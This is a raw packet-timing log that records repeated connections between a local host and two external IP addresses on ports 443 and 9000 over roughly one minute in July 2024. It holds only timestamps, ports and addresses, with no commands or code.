Jul 27, 2024 16:58:22.665060043 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:22.665390968 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:22.978092909 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:22.978473902 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:23.171988964 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:23.172076941 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:23.311764956 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:23.312139988 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:23.680814028 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:23.681118011 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:24.363607883 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:24.363883018 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:24.375838041 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:24.375922918 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:24.474957943 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:24.475158930 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:24.629077911 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:24.629290104 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:24.833401918 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:24.833522081 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:25.120925903 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:25.121157885 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:25.247119904 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:25.247211933 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:25.382730961 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:25.382812977 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:25.656970024 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:25.657087088 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:25.745567083 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:25.745789051 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:26.097352028 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:26.097589016 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:26.239825010 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:26.240081072 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:26.247780085 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:26.247981071 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:26.635205984 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:26.635462999 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:26.641628027 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:26.641880989 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:27.015754938 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:27.015945911 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:27.021796942 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:27.021878958 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:27.631716013 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:27.631808996 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:28.166513920 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:28.166775942 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:28.396284103 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:28.396379948 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:28.400017023 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:28.400099039 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:28.545804977 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:28.546017885 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:28.555350065 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:28.555464983 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:29.004106045 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:29.004323006 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:29.059586048 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:29.059798002 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:29.488905907 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:29.488996983 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:29.492331982 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:29.492413998 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:29.951716900 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:29.951931953 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:30.021601915 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:30.021899939 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:30.026968956 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:30.027321100 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:30.529400110 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:30.529741049 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:30.549906015 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:30.550117016 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:30.933952093 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:30.934370995 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:30.937191010 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:30.937310934 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:30.942058086 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:30.942245960 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:31.237169981 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:31.237374067 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:31.654710054 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:31.654972076 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:31.659529924 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:31.659754992 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:31.662473917 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:31.662672043 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:31.667819977 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:31.668090105 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:32.216820955 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:32.217044115 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:32.219177961 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:32.219489098 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:32.573005915 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:32.573184967 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:32.581038952 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:32.581203938 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:32.733830929 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:32.734282970 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:33.094377041 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:33.094582081 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:33.098757029 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:33.098958015 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:33.259573936 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:33.259988070 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:33.836602926 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:33.837033987 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:33.839221954 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:33.839576960 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:33.964179039 CEST	49732	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:58:33.970324039 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:58:34.301105976 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:58:34.301430941 CEST	49732	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:58:34.323838949 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:58:34.382531881 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:34.382736921 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:34.385858059 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:34.386033058 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:34.390279055 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:34.390496969 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:34.913655996 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:34.913846016 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:34.918389082 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:34.918576002 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:35.518034935 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:35.518352032 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:35.981251955 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:35.981609106 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:35.984127045 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:35.984422922 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:35.989489079 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:35.989696026 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:36.038623095 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:36.038969040 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:36.527196884 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:36.527291059 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:37.446134090 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:37.446224928 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:37.448846102 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:37.449018002 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:37.453752995 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:37.453933954 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:37.455997944 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:37.456064939 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:37.984287024 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:37.984379053 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:38.544433117 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:38.544534922 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:38.547727108 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:38.547889948 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:38.551868916 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:38.551943064 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:38.554922104 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:38.555104017 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:38.559360981 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:38.559557915 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:39.655335903 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:39.655435085 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:39.657037973 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:39.657109976 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:39.660671949 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:39.660748005 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:40.136146069 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:40.136251926 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:40.188257933 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:40.188354969 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:40.782027006 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:40.782422066 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:41.913141966 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:41.913516045 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:42.210289955 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:42.210488081 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:42.213449955 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:42.213670969 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:42.245613098 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:42.245835066 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:42.547787905 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:42.548007011 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:42.918879032 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:42.918996096 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:42.921490908 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:42.921688080 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:43.909085035 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:43.909292936 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:43.913165092 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:43.913364887 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:44.349145889 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:44.349378109 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:44.936033964 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:44.936301947 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:45.048377037 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:45.048600912 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:45.473809958 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:45.474241972 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:45.991884947 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:45.992115974 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:46.120253086 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:46.120589018 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:46.544986010 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:46.545222998 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:46.660326004 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:46.660574913 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:47.094650030 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:47.094979048 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:47.199939013 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:47.200278044 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:47.600824118 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:47.601028919 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:47.702115059 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:47.702363968 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:48.122278929 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:48.122462988 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:48.125462055 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:48.125675917 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:48.742533922 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:48.742748976 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:48.745045900 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:48.745349884 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:48.749264956 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:48.749475002 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:48.751773119 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:48.752099037 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:49.145334959 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:49.145560026 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:49.147114038 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:49.147317886 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:49.306917906 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:49.307115078 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:49.690843105 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:49.691178083 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:49.694313049 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:49.694536924 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:49.810141087 CEST	49732	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:58:49.816114902 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:58:50.117233992 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:58:50.117530107 CEST	49732	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:58:50.122661114 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:58:50.273020029 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:50.273302078 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:51.010292053 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:51.010380983 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:51.013427019 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:51.013514042 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:51.014906883 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:51.015010118 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:51.018462896 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:51.018532991 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:51.020339012 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:51.020405054 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:52.099489927 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:52.099710941 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:52.101154089 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:52.101248026 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:52.104624987 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:52.104711056 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:52.107446909 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:52.107515097 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:52.650784016 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:52.651130915 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:53.161339998 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:53.161648035 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:53.163768053 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:53.164033890 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:53.827367067 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:53.827459097 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:54.658377886 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:54.658575058 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:54.660521030 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:54.660691023 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:54.662236929 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:54.662306070 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:55.054851055 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:55.055217981 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:55.685630083 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:55.685940981 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:57.231168032 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:57.231426954 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:57.233349085 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:57.233443975 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:57.235212088 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:57.235555887 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:57.760109901 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:57.760418892 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:57.803212881 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:57.803440094 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:58.913105965 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:58.913328886 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:58.914731026 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:58.914928913 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:58.939055920 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:58.939198017 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:58:59.502214909 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:58:59.502455950 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:00.621468067 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:00.621923923 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:00.623265028 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:00.623503923 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:01.626123905 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:01.626458883 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:01.627999067 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:01.628104925 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:02.674684048 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:02.674921989 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:03.909481049 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:03.909713984 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:03.911339045 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:03.911535025 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:04.372710943 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:04.372910023 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:04.758632898 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:04.759026051 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:05.065213919 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:05.065310001 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:05.785969019 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:05.786067963 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:06.307964087 CEST	49732	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:59:06.313127995 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:59:06.375415087 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:06.375752926 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:06.614787102 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:59:06.615439892 CEST	49732	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:59:06.620841980 CEST	9000	49732	154.82.85.193	192.168.2.4
Jul 27, 2024 16:59:06.927917004 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:06.928076029 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:07.539855003 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:07.540079117 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:08.802875996 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:08.802980900 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:08.815192938 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:08.815491915 CEST	49734	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:59:09.764070034 CEST	443	49734	39.97.203.118	192.168.2.4
Jul 27, 2024 16:59:09.764302969 CEST	49734	443	192.168.2.4	39.97.203.118
